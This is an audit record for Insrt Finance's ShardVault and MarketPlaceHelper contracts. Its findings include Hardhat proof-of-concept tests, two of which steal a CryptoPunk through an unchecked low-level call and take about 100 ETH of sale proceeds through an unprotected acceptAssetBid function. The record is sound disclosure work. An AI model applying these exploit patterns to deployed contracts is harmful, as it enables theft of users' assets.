Insrt Finance security record

In the contract `MarketPlaceHelper`, the external facing function `listAsset()` contains a low-level call, which allows users to call any contract on behalf of the `MarketPlaceHelper` contract. ```solidity function listAsset(EncodedCall[] memory calls) external { unchecked { for (uint256 i; i < calls.length; ++i) { (bool success, ) = calls[i].target.call{ value: calls[i].value }(calls[i].data); if (!success) { revert MarketPlaceHelper__FailedListCall(); } } } } ``` According to the project design, after calling the `listPunk()` function in the `ShardVaultAdmin` contract, the punk will be transferred to the `MarketPlaceHelper`. Thus, the attacker can trigger the `transferPunk(address,uint256)` function of the `CryptoPunksMarket` contract to transfer the punk to his own address. #### Proof of Concept After `listPunk()` function is called by the protocol owner, Punk NFTs will be transferred to contract `MarketPlaceHelper`. The attacker can call `listAsset` with spoofed calldata to transfer the punk to his own address. ```typescript describe('Steal NFT', () => { it('Attacker can steal NFT by low-level call in listAsset', async () => { await pethInstance.connect(owner).setMaxSupply(BigNumber.from('100')); await pethInstance .connect(depositor) .deposit({ value: ethers.utils.parseEther('100') }); await pethInstance .connect(owner) ['purchasePunk((bytes,uint256,address)[],uint256)']( punkPurchaseCallsPETH, punkId, ); const listPrice = ethers.utils.parseEther('100'); const listPunkCalls = []; const encodedOfferPunkForSale = cryptoPunkMarket.interface.encodeFunctionData( 'offerPunkForSale(uint256,uint256)', [punkId, listPrice], ); const encodedListCall = { data: encodedOfferPunkForSale, target: CRYPTO_PUNKS_MARKET, value: ethers.constants.Zero, }; listPunkCalls.push(encodedListCall); await pethInstance .connect(owner) ['listPunk((bytes,uint256,address)[],uint256)']( listPunkCalls, punkId, ); const listPunkCalls_attack = []; let nonOwner_addr = await nonOwner.getAddress(); const encodedOfferPunkForSale_attack = cryptoPunkMarket.interface.encodeFunctionData( 'transferPunk(address,uint256)', [nonOwner_addr, punkId], ); const encodedListCall_attack = { data: encodedOfferPunkForSale_attack, target: CRYPTO_PUNKS_MARKET, value: ethers.constants.Zero, }; listPunkCalls_attack.push(encodedListCall_attack); const MARKETPLACE_HELPER = await pethInstance['marketplaceHelper()'](); let marketplaceHelper = await ethers.getContractAt('MarketPlaceHelper', MARKETPLACE_HELPER); await marketplaceHelper .connect(nonOwner) ['listAsset((bytes,uint256,address)[])']( listPunkCalls_attack, ); }); ``` Result ```text ✓ Attacker can steal NFT by low-level call in listAsset ``` The invocation succeed, and the punk was transferred to the attacker's address.

There is no access control on the functions of the `MarketPlaceHelper` contract, which would incur potential risk since the low-level `call()` is used in its functions and ETH is sent to the caller. Per the logic of the protocol, it looks like only the `ShardVaultInternal` contract needs to call the `MarketPlaceHelper`. For example, the `acceptAssetBid()` function without any access control allows malicious users to accept any bid price by specifying the `minBidValue` for any punk the `MarketPlaceHelper` contract owned as well as collect all sale proceeds: ```solidity=66 function acceptAssetBid( bytes calldata data, address target, address collection, uint256 tokenId, uint256 minBidValue ) external payable { if (collection == CRYPTO_PUNK_MARKET) { ICryptoPunkMarket(CRYPTO_PUNK_MARKET).acceptBidForPunk( tokenId, minBidValue ); uint256 oldBalance = address(this).balance; ICryptoPunkMarket(CRYPTO_PUNK_MARKET).withdraw(); uint256 newBalance = address(this).balance; unchecked { payable(msg.sender).sendValue(newBalance - oldBalance); } } ... } ``` Furthermore, since `MarketPlaceHelper` receives NFTs when they are to be listed for sale, a malicious user can use the low level calls to transfer the NFTs to themselves. As a result, the protocol can incur loss caused by accepting any bid price in the no-access-control function `acceptAssetBid()` or having the funds from the sale be transferred to the malicious actor. ### Proof of Concept The following line is added to `MarketPlaceHelper.sol` so that it can receive ETH from the `CRYPTO_PUNK_MARKET`. ```solidity receive() external payable {} ``` The following test demonstrates that any user is able to take the proceeds of an NFT sale by performing the following: 1. A punk is purchased and then listed. 2. `nonOwner` makes a bid for the punk at the minimum bid of 100 ether 3. `nonOwner` then accepts their own bid for the punk 4. The `nonOwner`'s ETH balance is queried. ```typescript describe('Steal sale proceeds', () => { it('lists a punk, nonOwner makes a bid, nonOwner collects sale proceeds', async () => { await pethInstance.connect(owner).setMaxSupply(BigNumber.from('100')); await pethInstance .connect(depositor) .deposit({ value: ethers.utils.parseEther('100') }); await pethInstance .connect(owner) ['purchasePunk((bytes,uint256,address)[],uint256,bool)']( punkPurchaseCallsPETH, punkId, true, ); const listPrice = ethers.utils.parseEther('100'); const listPunkCalls = []; const encodedOfferPunkForSale = cryptoPunkMarket.interface.encodeFunctionData( 'offerPunkForSale(uint256,uint256)', [punkId, listPrice], ); const encodedListCall = { data: encodedOfferPunkForSale, target: CRYPTO_PUNKS_MARKET, value: ethers.constants.Zero, }; listPunkCalls.push(encodedListCall); await pethInstance .connect(owner) ['listPunk((bytes,uint256,address)[],uint256)']( listPunkCalls, punkId, ); await cryptoPunkMarket.connect(nonOwner) ['enterBidForPunk(uint256)']( punkId, { value: ethers.utils.parseEther('100') }, ); const MARKETPLACE_HELPER = await pethInstance['marketplaceHelper()'](); let marketplaceHelper = await ethers.getContractAt('MarketPlaceHelper', MARKETPLACE_HELPER); let balanceBefore = await nonOwner.getBalance(); await marketplaceHelper.connect(nonOwner) ['acceptAssetBid(bytes,address,address,uint256,uint256)']( [], CRYPTO_PUNKS_MARKET, CRYPTO_PUNKS_MARKET, punkId, listPrice, ); let balanceAfter = await nonOwner.getBalance(); console.log(balanceAfter.sub(balanceBefore)); }); }); ``` Test result: ```terminal BigNumber { value: "99999874348108360440" } ✓ lists a punk, nonOwner makes a bid, nonOwner collects sale proceeds ``` The test results show that `nonOwner` gained approximately 100 ETH.

When a user deposits, the IDs of the shards minted to the user are increasing numbers that start at `totalSupply`. However, since `totalSupply` can be decreased when a user withdraws, the ID of a shard meant to be minted may already be in use, preventing the shard from minting. In `_deposit()`, the ID of a minted shard starts from `totalSupply`. ```solidity=159 for (uint256 i; i < shards; ++i) { _mint(msg.sender, totalSupply + i); } ``` In `_withdraw()`, a user can burn their shards, decreasing `totalSupply`, causing a possible conflict with future mints. ```solidity=184 for (uint256 i; i < shards; ++i) { uint256 shardId = shardIds[i]; _enforceShardOwnership(msg.sender, shardId); _burn(shardId); } ``` Hence, an attacker can prevent future users from depositing to a vault if they deposit and then withdraw. Since the attacker can acquire a full refund when they withdraw, this is a low cost denial-of-service attack. ### Proof of Concept The following test is provided to produce the above issue by performing the following: 1. A depositor deposits 10 ETH to receive 10 shards with IDs 0, ..., 9. - The total supply is currently 10. 2. The depositor then withdraws shards 0, ..., 4. - The total supply is now 5. 3. The depositor deposits 1 ETH to try and receive 1 shard, which will have ID 5. - This fails as the shard with ID 5 already exists, as shown in the output. ```typescript it('unable to mint after withdrawing', async () => { await instance.connect(owner)['setIsEnabled(bool)'](true); await instance .connect(depositor) ['deposit()']({ value: depositAmount }); const withdrawShards = 5; const shards = []; for (let i = 0; i < withdrawShards; i++) { shards.push(await instance.tokenOfOwnerByIndex(depositor.address, i)); } await instance.connect(depositor)['withdraw(uint256[])'](shards); const newDepositAmount = ethers.utils.parseEther('1'); await instance.connect(depositor)['deposit()']({ value: newDepositAmount}); }); ``` Output: ```terminal 1 failing 1) ShardVaultProxy ::ShardVaultProxy ::ShardVaultIO #withdraw(uint256[]) unable to mint after withdrawing: Error: cannot estimate gas; transaction may fail or may require manual gas limit [ See: https://links.ethers.org/v5-errors-UNPREDICTABLE_GAS_LIMIT ] (reason="VM Exception while processing transaction: reverted with custom error 'ERC721Base__TokenAlreadyMinted()'" ... ``` The output details that the transaction failed with the error `ERC721Base__TokenAlreadyMinted()`, meaning that the shard mint failed due to the shard already existing. This prevents all future mints as well as the function will try to always mint the same ID.

In the function `_collateralizePunkPETH()`, the punk's value in ETH is got and passed to the `_collateralizePunk()` function. ```solidity=318 uint256 value = INFTVault(jpegdVault).getNFTValueETH(punkId); pETH = _collateralizePunk( punkId, borrowAmount, insure, jpegdVault, value, PETH ); ``` Note that the return result of the `getNFTValueETH()` is in terms of ETH in the `INFTVault.sol` contract: ```solidity=116 /// @param _nftIndex The NFT to return the value of /// @return The value in ETH of the NFT at index `_nftIndex`, with 18 decimals. function getNFTValueETH(uint256 _nftIndex) external view returns (uint256); ``` In the function `_collateralizePunk()`, the punk's `creditLimit` is got and used to do the subtraction with `value`, which is the punk's value in ETH. ```solidity=330 function _collateralizePunk( uint256 punkId, uint256 borrowAmount, bool insure, address jpegdVault, uint256 value, address token ) private returns (uint256 amount) { ShardVaultStorage.Layout storage l = ShardVaultStorage.layout(); uint256 creditLimit = INFTVault(jpegdVault).getCreditLimit(punkId); uint256 targetLTV = creditLimit - (value * (l.ltvBufferBP + l.ltvDeviationBP)) / BASIS_POINTS; ... ``` However, the punk's `creditLimit` is in terms of PUSD instead of ETH per the description of the interface `getCreditLimit()` in the `INFTVault.sol` contract: ```solidity=66 /// @param _nftIndex The NFT to return the credit limit of /// @return The PUSD credit limit of the NFT at index `_nftIndex`. function getCreditLimit(uint256 _nftIndex) external view returns (uint256); ``` As a result, the wrong `targetLTV` will be calculated since the units of `creditLimit` and `value` are different. ## Proof of Concept Note: To better inspect the variables' value in the transaction, `console.log` is added inside the `_collateralizePunk()` function to output the variables' values. ```solidity function _collateralizePunk( uint256 punkId, uint256 borrowAmount, bool insure, address jpegdVault, uint256 value, address token ) private returns (uint256 amount) { ShardVaultStorage.Layout storage l = ShardVaultStorage.layout(); console.log("token", token); console.log("value", value); console.log("jpegdVault", jpegdVault); uint256 creditLimit = INFTVault(jpegdVault).getCreditLimit(punkId); console.log("creditLimit", creditLimit); uint256 targetLTV = creditLimit - (value * (l.ltvBufferBP + l.ltvDeviationBP)) / BASIS_POINTS; console.log("targetLTV", targetLTV); if (INFTVault(jpegdVault).positionOwner(punkId) != address(0)) { .... } ``` We have the following cases: Case 1: Use `pUSDInstance` with `jpegdVault` as the vault to run the `collateralizePunkPUSD()` function; Case 2: Use `pethInstance` with `pethJpegdVault` as the vault to run the `collateralizePunkPETH()` function. ```typescript //Case 1's test describe('#collateralizePunkPUSD(uint256,uint256,bool)', () => { it('borrows requested amount of pUSD', async () => { await pUSDInstance.connect(owner).setMaxSupply(BigNumber.from('100')); await pUSDInstance .connect(depositor) .deposit({ value: ethers.utils.parseEther('100') }); await pUSDInstance .connect(owner) ['purchasePunk((bytes,uint256,address)[],uint256,bool)']( punkPurchaseCallsPUSD, punkId, true, ); const requestedBorrow = ( await jpegdVault.callStatic['getNFTValueUSD(uint256)'](punkId) ) .mul(targetLTVBP) .div(BASIS_POINTS); const settings = await jpegdVault.callStatic['settings()'](); const actualBorrow = requestedBorrow.sub( requestedBorrow .mul(settings.organizationFeeRate.numerator) .div(settings.organizationFeeRate.denominator), ); await expect(() => pUSDInstance .connect(owner) ['collateralizePunkPUSD(uint256,uint256,bool)']( punkId, requestedBorrow, false, ), ).to.changeTokenBalance(pUSD, pUSDInstance, actualBorrow); }); }); ``` ```typescript //Case 2's test describe('#collateralizePunkPETH(uint256,uint256,bool)', () => { it('borrows requested amount of pETH', async () => { await pethInstance.connect(owner).setMaxSupply(BigNumber.from('100')); await pethInstance .connect(depositor) .deposit({ value: ethers.utils.parseEther('100') }); await pethInstance .connect(owner) ['purchasePunk((bytes,uint256,address)[],uint256,bo

The `MarketPlaceHelper` contract lacks a `receive() external payable` function which is necessary to receive ETH from `CRYPTO_PUNK_MARKET` when an NFT has sold. In the function `acceptAssetBid()`, the following call to `CRYPTO_PUNK_MARKET()` is made: ```solidity=80 ICryptoPunkMarket(CRYPTO_PUNK_MARKET).withdraw(); ``` This function withdraws sale proceeds and sends them to the function caller. ```solidity=190 function withdraw() { if (!allPunksAssigned) throw; uint amount = pendingWithdrawals[msg.sender]; // Remember to zero the pending refund before // sending to prevent re-entrancy attacks pendingWithdrawals[msg.sender] = 0; msg.sender.transfer(amount); } ``` Since `MarketPlaceHelper` will be the one receiving the ETH, it needs a `receive() payable` function or else the transaction will revert. ### Proof of Concept The following unit test shows that `acceptAssetBid()` will revert by performing the following: 1. A punk is purchased and then listed 2. `nonOwner` makes a bid for the punk 3. `nonOwner` attempts to accept their own bid 4. From the test output, transaction reverts as the `receive()` function does not exist ```typescript describe('Unable to Withdraw Sale Proceeds', () => { it('lists a punk, nonOwner makes a bid, nonOwner tries to collect sale proceeds', async () => { await pethInstance.connect(owner).setMaxSupply(BigNumber.from('100')); await pethInstance .connect(depositor) .deposit({ value: ethers.utils.parseEther('100') }); await pethInstance .connect(owner) ['purchasePunk((bytes,uint256,address)[],uint256,bool)']( punkPurchaseCallsPETH, punkId, true, ); const listPrice = ethers.utils.parseEther('100'); const listPunkCalls = []; const encodedOfferPunkForSale = cryptoPunkMarket.interface.encodeFunctionData( 'offerPunkForSale(uint256,uint256)', [punkId, listPrice], ); const encodedListCall = { data: encodedOfferPunkForSale, target: CRYPTO_PUNKS_MARKET, value: ethers.constants.Zero, }; listPunkCalls.push(encodedListCall); await pethInstance .connect(owner) ['listPunk((bytes,uint256,address)[],uint256)']( listPunkCalls, punkId, ); await cryptoPunkMarket.connect(nonOwner) ['enterBidForPunk(uint256)']( punkId, { value: ethers.utils.parseEther('100') }, ); const MARKETPLACE_HELPER = await pethInstance['marketplaceHelper()'](); let marketplaceHelper = await ethers.getContractAt('MarketPlaceHelper', MARKETPLACE_HELPER); let balanceBefore = await nonOwner.getBalance(); await marketplaceHelper.connect(nonOwner) ['acceptAssetBid(bytes,address,address,uint256,uint256)']( [], CRYPTO_PUNKS_MARKET, CRYPTO_PUNKS_MARKET, punkId, listPrice, ); let balanceAfter = await nonOwner.getBalance(); console.log(balanceAfter.sub(balanceBefore)); }); }); ``` Test output: ```terminal lists a punk, nonOwner makes a bid, nonOwner tries to collect sale proceeds: Error: Transaction reverted: function selector was not recognized and there's no fallback nor receive function at MarketPlaceHelper.<unrecognized-selector> (contracts/helpers/MarketPlaceHelper.sol:12) at <UnrecognizedContract>.<unknown> (0xb47e3cd837ddf8e4c57f05d70ab865de6e193bbb) at MarketPlaceHelper.acceptAssetBid (contracts/helpers/MarketPlaceHelper.sol:80) at async HardhatNode._mineBlockWithPendingTxs (node_modules/hardhat/src/internal/hardhat-network/provider/node.ts:1802:23) at async HardhatNode.mineBlock (node_modules/hardhat/src/internal/hardhat-network/provider/node.ts:491:16) at async EthModule._sendTransactionAndReturnHash (node_modules/hardhat/src/internal/hardhat-network/provider/modules/eth.ts:1522:18) at async HardhatNetworkProvider.request (node_modules/hardhat/src/internal/hardhat-network/provider/provider.ts:118:18) at async EthersProviderWrapper.send (node_modules/@nomiclabs/hardhat-ethers/src/internal/ethers-provider-wrapper.ts:13:20) ``` The test output shows that `MarketPlaceHelper.acceptAssetBid()` is called and calls `CRYPTO_PUNK_MARKET.withdraw()`, which then calls `MarketPlaceHelper` again. However, `MarketPlaceHelper` does not have a `receive()` function so the transaction reverts.

When the whitelist period is still ongoing, the unused function `_remainingShardReservations()` returns the value `l.maxSupply - l.totalSupply` instead of `l.reservedShards - l.totalSupply`. ```solidity=1095 function _remainingShardReservations() internal view returns (uint256 shards) { ShardVaultStorage.Layout storage l = ShardVaultStorage.layout(); if (block.timestamp < l.whitelistEndsAt) { shards = l.maxSupply - l.totalSupply; } } ```

It is possible for the `maxSupply` variable to be under the total supply, creating a possible underflow revert when users deposit. The function `_setMaxSupply()` and when initializing the max supply currently lacks any checks. ```solidity=827 function _setMaxSupply(uint16 maxSupply) internal { ShardVaultStorage.layout().maxSupply = maxSupply; } ``` If it is the case that `maxSupply < totalSupply`, then the `_deposit()` function will revert due to an underflow error. ```solidity=127 shards = maxSupply - totalSupply; ```

It is possible for the total supply to exceed the max supply if the number of reserved shards exceeds the max supply. When users deposit and the current time is before `whitelistEndsAt`, then the `maxSupply` variable is taken to be `reservedShards`. ```solidity=93 uint16 maxSupply = l.maxSupply; uint16 balance = l.shardBalances[msg.sender]; uint16 maxUserShards = l.maxUserShards; if (balance == maxUserShards) { revert ShardVault__MaxUserShards(); } if (block.timestamp < l.whitelistEndsAt) { _enforceWhitelist(msg.sender); maxSupply = l.reservedShards; } ``` This means that if `l.reservedShards > l.maxSupply`, it is possible for `totalSupply > l.maxSupply` after minting reserved shards.

Any logic contract that acts as a base contract that needs to be inherited by other upgradeable children should have a reasonable size of storage gap preserved for the new state variable introduced by the future upgrades. However, the `MarketPlaceHelperProxy` is a transparent proxy, but there is no storage gap preserved in the logic contract.

There should always be events emitted in the sensitive functions that are controlled by centralization roles.